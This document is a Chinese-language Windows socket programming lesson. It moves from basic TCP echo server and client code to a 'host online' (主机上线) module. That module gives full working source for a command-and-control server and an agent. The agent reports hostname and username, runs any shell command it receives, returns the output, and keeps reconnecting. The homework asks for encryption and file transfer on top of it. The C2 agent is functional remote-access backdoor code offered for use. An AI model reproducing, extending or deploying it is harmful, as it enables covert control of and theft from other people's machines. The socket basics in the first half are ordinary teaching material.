Windows网络编程

2、TCP套接字编程与主机上线实验

1、课程目标

  1. 掌握TCP套接字的创建和使用
  2. 实现TCP客户端和服务器
  3. 理解TCP三次握手和四次挥手
  4. 完成主机上线功能的实现

2、名词解释

术语解释
socket套接字,网络通信端点
bind绑定套接字到地址和端口
listen监听连接请求
accept接受连接
connect发起连接

3、使用工具

工具用途
Visual Studio编译调试
Wireshark抓包分析
netstat查看连接状态

4、技术原理

4.1、TCP连接流程

┌─────────────────────────────────────────────────────────────┐
│                    TCP连接建立与通信                         │
│                                                             │
│     客户端                          服务器                  │
│        │                              │                     │
│        │  socket()                    │  socket()           │
│        │                              │  bind()             │
│        │                              │  listen()           │
│        │                              │     ↓               │
│        │         SYN (seq=x)          │  accept() [阻塞]    │
│        │ ──────────────────────────→ │                     │
│        │                              │                     │
│        │    SYN-ACK (seq=y, ack=x+1) │                     │
│        │ ←────────────────────────── │                     │
│        │                              │                     │
│        │       ACK (ack=y+1)          │                     │
│        │ ──────────────────────────→ │  accept() [返回]    │
│        │                              │                     │
│        │         [连接建立]            │                     │
│        │                              │                     │
│        │    send() ←──────→ recv()   │                     │
│        │    recv() ←──────→ send()   │                     │
│        │                              │                     │
│        │  closesocket()              │  closesocket()      │
│        │         FIN ────────────→   │                     │
│        │         ACK ←────────────   │                     │
│        │         FIN ←────────────   │                     │
│        │         ACK ────────────→   │                     │
└─────────────────────────────────────────────────────────────┘

5、代码实现

5.1、示例1:TCP服务器

// TcpServer.c - TCP服务器
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

#define SERVER_PORT 8888
#define BUFFER_SIZE 4096

int main() {
    WSADATA wsaData;
    SOCKET listenSocket = INVALID_SOCKET;
    SOCKET clientSocket = INVALID_SOCKET;
    struct sockaddr_in serverAddr, clientAddr;
    int clientAddrLen = sizeof(clientAddr);
    char recvBuffer[BUFFER_SIZE];
    int recvLen;
    
    // 初始化Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        printf("WSAStartup failed\n");
        return 1;
    }
    
    // 创建套接字
    listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (listenSocket == INVALID_SOCKET) {
        printf("socket failed: %d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
    
    // 设置地址重用
    int optval = 1;
    setsockopt(listenSocket, SOL_SOCKET, SO_REUSEADDR, (char*)&optval, sizeof(optval));
    
    // 绑定地址
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_addr.s_addr = INADDR_ANY;  // 监听所有接口
    serverAddr.sin_port = htons(SERVER_PORT);
    
    if (bind(listenSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
        printf("bind failed: %d\n", WSAGetLastError());
        closesocket(listenSocket);
        WSACleanup();
        return 1;
    }
    
    // 开始监听
    if (listen(listenSocket, SOMAXCONN) == SOCKET_ERROR) {
        printf("listen failed: %d\n", WSAGetLastError());
        closesocket(listenSocket);
        WSACleanup();
        return 1;
    }
    
    printf("Server listening on port %d...\n", SERVER_PORT);
    
    while (1) {
        // 接受连接
        clientSocket = accept(listenSocket, (struct sockaddr*)&clientAddr, &clientAddrLen);
        if (clientSocket == INVALID_SOCKET) {
            printf("accept failed: %d\n", WSAGetLastError());
            continue;
        }
        
        char clientIP[INET_ADDRSTRLEN];
        inet_ntop(AF_INET, &clientAddr.sin_addr, clientIP, sizeof(clientIP));
        printf("Client connected: %s:%d\n", clientIP, ntohs(clientAddr.sin_port));
        
        // 接收和发送数据
        while (1) {
            recvLen = recv(clientSocket, recvBuffer, BUFFER_SIZE - 1, 0);
            if (recvLen > 0) {
                recvBuffer[recvLen] = '\0';
                printf("Received: %s\n", recvBuffer);
                
                // 回显
                send(clientSocket, recvBuffer, recvLen, 0);
            } else if (recvLen == 0) {
                printf("Client disconnected\n");
                break;
            } else {
                printf("recv failed: %d\n", WSAGetLastError());
                break;
            }
        }
        
        closesocket(clientSocket);
    }
    
    closesocket(listenSocket);
    WSACleanup();
    return 0;
}

5.2、示例2:TCP客户端

// TcpClient.c - TCP客户端
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

#define SERVER_IP   "127.0.0.1"
#define SERVER_PORT 8888
#define BUFFER_SIZE 4096

int main() {
    WSADATA wsaData;
    SOCKET clientSocket = INVALID_SOCKET;
    struct sockaddr_in serverAddr;
    char sendBuffer[BUFFER_SIZE];
    char recvBuffer[BUFFER_SIZE];
    int recvLen;
    
    // 初始化Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        printf("WSAStartup failed\n");
        return 1;
    }
    
    // 创建套接字
    clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (clientSocket == INVALID_SOCKET) {
        printf("socket failed: %d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
    
    // 服务器地址
    serverAddr.sin_family = AF_INET;
    inet_pton(AF_INET, SERVER_IP, &serverAddr.sin_addr);
    serverAddr.sin_port = htons(SERVER_PORT);
    
    // 连接服务器
    if (connect(clientSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
        printf("connect failed: %d\n", WSAGetLastError());
        closesocket(clientSocket);
        WSACleanup();
        return 1;
    }
    
    printf("Connected to server %s:%d\n", SERVER_IP, SERVER_PORT);
    
    // 发送和接收数据
    while (1) {
        printf("Enter message (quit to exit): ");
        fgets(sendBuffer, BUFFER_SIZE, stdin);
        sendBuffer[strcspn(sendBuffer, "\n")] = '\0';
        
        if (strcmp(sendBuffer, "quit") == 0) {
            break;
        }
        
        // 发送数据
        if (send(clientSocket, sendBuffer, strlen(sendBuffer), 0) == SOCKET_ERROR) {
            printf("send failed: %d\n", WSAGetLastError());
            break;
        }
        
        // 接收响应
        recvLen = recv(clientSocket, recvBuffer, BUFFER_SIZE - 1, 0);
        if (recvLen > 0) {
            recvBuffer[recvLen] = '\0';
            printf("Server response: %s\n", recvBuffer);
        } else {
            printf("recv failed or server closed\n");
            break;
        }
    }
    
    closesocket(clientSocket);
    WSACleanup();
    return 0;
}

5.3、示例3:主机上线系统 - C2服务器

// C2Server.c - C2服务器
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <time.h>

#pragma comment(lib, "ws2_32.lib")

#define C2_PORT     4444
#define MAX_CLIENTS 100

typedef struct _CLIENT_INFO {
    SOCKET  Socket;
    char    IP[INET_ADDRSTRLEN];
    int     Port;
    DWORD   ClientId;
    time_t  ConnectTime;
    time_t  LastSeen;
    BOOL    Active;
} CLIENT_INFO, *PCLIENT_INFO;

CLIENT_INFO g_Clients[MAX_CLIENTS];
int g_ClientCount = 0;
DWORD g_NextClientId = 1;
CRITICAL_SECTION g_Lock;

// 添加客户端
int AddClient(SOCKET socket, struct sockaddr_in* addr) {
    EnterCriticalSection(&g_Lock);
    
    for (int i = 0; i < MAX_CLIENTS; i++) {
        if (!g_Clients[i].Active) {
            g_Clients[i].Socket = socket;
            inet_ntop(AF_INET, &addr->sin_addr, g_Clients[i].IP, sizeof(g_Clients[i].IP));
            g_Clients[i].Port = ntohs(addr->sin_port);
            g_Clients[i].ClientId = g_NextClientId++;
            g_Clients[i].ConnectTime = time(NULL);
            g_Clients[i].LastSeen = time(NULL);
            g_Clients[i].Active = TRUE;
            g_ClientCount++;
            
            LeaveCriticalSection(&g_Lock);
            return i;
        }
    }
    
    LeaveCriticalSection(&g_Lock);
    return -1;
}

// 移除客户端
void RemoveClient(int index) {
    EnterCriticalSection(&g_Lock);
    
    if (g_Clients[index].Active) {
        closesocket(g_Clients[index].Socket);
        g_Clients[index].Active = FALSE;
        g_ClientCount--;
    }
    
    LeaveCriticalSection(&g_Lock);
}

// 列出客户端
void ListClients() {
    EnterCriticalSection(&g_Lock);
    
    printf("\n=== Connected Clients ===\n");
    printf("ID\tIP Address\t\tPort\tUptime\n");
    
    for (int i = 0; i < MAX_CLIENTS; i++) {
        if (g_Clients[i].Active) {
            time_t uptime = time(NULL) - g_Clients[i].ConnectTime;
            printf("%d\t%s\t%d\t%lds\n",
                   g_Clients[i].ClientId,
                   g_Clients[i].IP,
                   g_Clients[i].Port,
                   uptime);
        }
    }
    
    printf("Total: %d clients\n\n", g_ClientCount);
    
    LeaveCriticalSection(&g_Lock);
}

// 发送命令到客户端
void SendCommand(int clientId, const char* command) {
    EnterCriticalSection(&g_Lock);
    
    for (int i = 0; i < MAX_CLIENTS; i++) {
        if (g_Clients[i].Active && g_Clients[i].ClientId == clientId) {
            send(g_Clients[i].Socket, command, strlen(command), 0);
            printf("Command sent to client %d\n", clientId);
            LeaveCriticalSection(&g_Lock);
            return;
        }
    }
    
    printf("Client %d not found\n", clientId);
    LeaveCriticalSection(&g_Lock);
}

// 客户端处理线程
DWORD WINAPI ClientHandler(LPVOID lpParam) {
    int index = (int)(INT_PTR)lpParam;
    char buffer[4096];
    int recvLen;
    
    printf("[+] Client %d handler started\n", g_Clients[index].ClientId);
    
    while (g_Clients[index].Active) {
        recvLen = recv(g_Clients[index].Socket, buffer, sizeof(buffer) - 1, 0);
        
        if (recvLen > 0) {
            buffer[recvLen] = '\0';
            g_Clients[index].LastSeen = time(NULL);
            
            printf("[Client %d] %s\n", g_Clients[index].ClientId, buffer);
        } else {
            break;
        }
    }
    
    printf("[-] Client %d disconnected\n", g_Clients[index].ClientId);
    RemoveClient(index);
    
    return 0;
}

// 接受连接线程
DWORD WINAPI AcceptThread(LPVOID lpParam) {
    SOCKET listenSocket = (SOCKET)lpParam;
    
    while (1) {
        struct sockaddr_in clientAddr;
        int clientAddrLen = sizeof(clientAddr);
        
        SOCKET clientSocket = accept(listenSocket, (struct sockaddr*)&clientAddr, &clientAddrLen);
        if (clientSocket != INVALID_SOCKET) {
            int index = AddClient(clientSocket, &clientAddr);
            if (index >= 0) {
                printf("[+] New client connected: %s:%d (ID: %d)\n",
                       g_Clients[index].IP,
                       g_Clients[index].Port,
                       g_Clients[index].ClientId);
                
                CreateThread(NULL, 0, ClientHandler, (LPVOID)(INT_PTR)index, 0, NULL);
            } else {
                closesocket(clientSocket);
                printf("[-] Max clients reached\n");
            }
        }
    }
    
    return 0;
}

int main() {
    WSADATA wsaData;
    SOCKET listenSocket;
    struct sockaddr_in serverAddr;
    
    InitializeCriticalSection(&g_Lock);
    memset(g_Clients, 0, sizeof(g_Clients));
    
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    
    listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_addr.s_addr = INADDR_ANY;
    serverAddr.sin_port = htons(C2_PORT);
    
    bind(listenSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr));
    listen(listenSocket, SOMAXCONN);
    
    printf("=== C2 Server ===\n");
    printf("Listening on port %d\n\n", C2_PORT);
    
    // 启动接受线程
    CreateThread(NULL, 0, AcceptThread, (LPVOID)listenSocket, 0, NULL);
    
    // 命令行界面
    char input[256];
    while (1) {
        printf("C2> ");
        fgets(input, sizeof(input), stdin);
        input[strcspn(input, "\n")] = '\0';
        
        if (strcmp(input, "list") == 0) {
            ListClients();
        } else if (strncmp(input, "cmd ", 4) == 0) {
            int id;
            char* cmd = strchr(input + 4, ' ');
            if (cmd && sscanf(input + 4, "%d", &id) == 1) {
                SendCommand(id, cmd + 1);
            }
        } else if (strcmp(input, "exit") == 0) {
            break;
        } else if (strlen(input) > 0) {
            printf("Commands: list, cmd <id> <command>, exit\n");
        }
    }
    
    closesocket(listenSocket);
    WSACleanup();
    DeleteCriticalSection(&g_Lock);
    
    return 0;
}

5.4、示例4:主机上线系统 - Agent客户端

// C2Agent.c - C2 Agent
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "ws2_32.lib")

#define C2_SERVER   "127.0.0.1"
#define C2_PORT     4444
#define RECONNECT_DELAY 5000

SOCKET g_Socket = INVALID_SOCKET;
BOOL g_Running = TRUE;

// 获取系统信息
void GetSystemInfo_Agent(char* buffer, int size) {
    char hostname[256];
    char username[256];
    DWORD usernameLen = sizeof(username);
    
    gethostname(hostname, sizeof(hostname));
    GetUserNameA(username, &usernameLen);
    
    sprintf_s(buffer, size, "ONLINE|%s|%s|%d",
              hostname, username, GetCurrentProcessId());
}

// 执行命令
void ExecuteCommand(const char* cmd, char* output, int outputSize) {
    FILE* pipe = _popen(cmd, "r");
    if (!pipe) {
        strcpy_s(output, outputSize, "Failed to execute command");
        return;
    }
    
    int offset = 0;
    while (fgets(output + offset, outputSize - offset, pipe) && offset < outputSize - 1) {
        offset = strlen(output);
    }
    
    _pclose(pipe);
}

// 处理服务器命令
void ProcessCommand(const char* command) {
    char response[8192];
    
    if (strncmp(command, "shell ", 6) == 0) {
        ExecuteCommand(command + 6, response, sizeof(response));
    } else if (strcmp(command, "sysinfo") == 0) {
        GetSystemInfo_Agent(response, sizeof(response));
    } else if (strcmp(command, "exit") == 0) {
        g_Running = FALSE;
        strcpy_s(response, sizeof(response), "Agent exiting");
    } else {
        strcpy_s(response, sizeof(response), "Unknown command");
    }
    
    send(g_Socket, response, strlen(response), 0);
}

// 连接服务器
BOOL ConnectToServer() {
    struct sockaddr_in serverAddr;
    
    g_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (g_Socket == INVALID_SOCKET) {
        return FALSE;
    }
    
    serverAddr.sin_family = AF_INET;
    inet_pton(AF_INET, C2_SERVER, &serverAddr.sin_addr);
    serverAddr.sin_port = htons(C2_PORT);
    
    if (connect(g_Socket, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
        closesocket(g_Socket);
        g_Socket = INVALID_SOCKET;
        return FALSE;
    }
    
    // 发送上线信息
    char info[256];
    GetSystemInfo_Agent(info, sizeof(info));
    send(g_Socket, info, strlen(info), 0);
    
    return TRUE;
}

// 主循环
void MainLoop() {
    char buffer[4096];
    int recvLen;
    
    while (g_Running) {
        // 尝试连接
        if (g_Socket == INVALID_SOCKET) {
            if (!ConnectToServer()) {
                Sleep(RECONNECT_DELAY);
                continue;
            }
        }
        
        // 接收命令
        recvLen = recv(g_Socket, buffer, sizeof(buffer) - 1, 0);
        if (recvLen > 0) {
            buffer[recvLen] = '\0';
            ProcessCommand(buffer);
        } else {
            closesocket(g_Socket);
            g_Socket = INVALID_SOCKET;
        }
    }
}

int main() {
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    
    MainLoop();
    
    if (g_Socket != INVALID_SOCKET) {
        closesocket(g_Socket);
    }
    
    WSACleanup();
    return 0;
}

6、课后作业

  1. 为C2系统添加心跳机制
  2. 实现多线程并发处理
  3. 添加数据加密功能
  4. 实现文件上传下载功能

7、扩展阅读

  • TCP/IP详解
  • Winsock高级编程
  • C2框架设计模式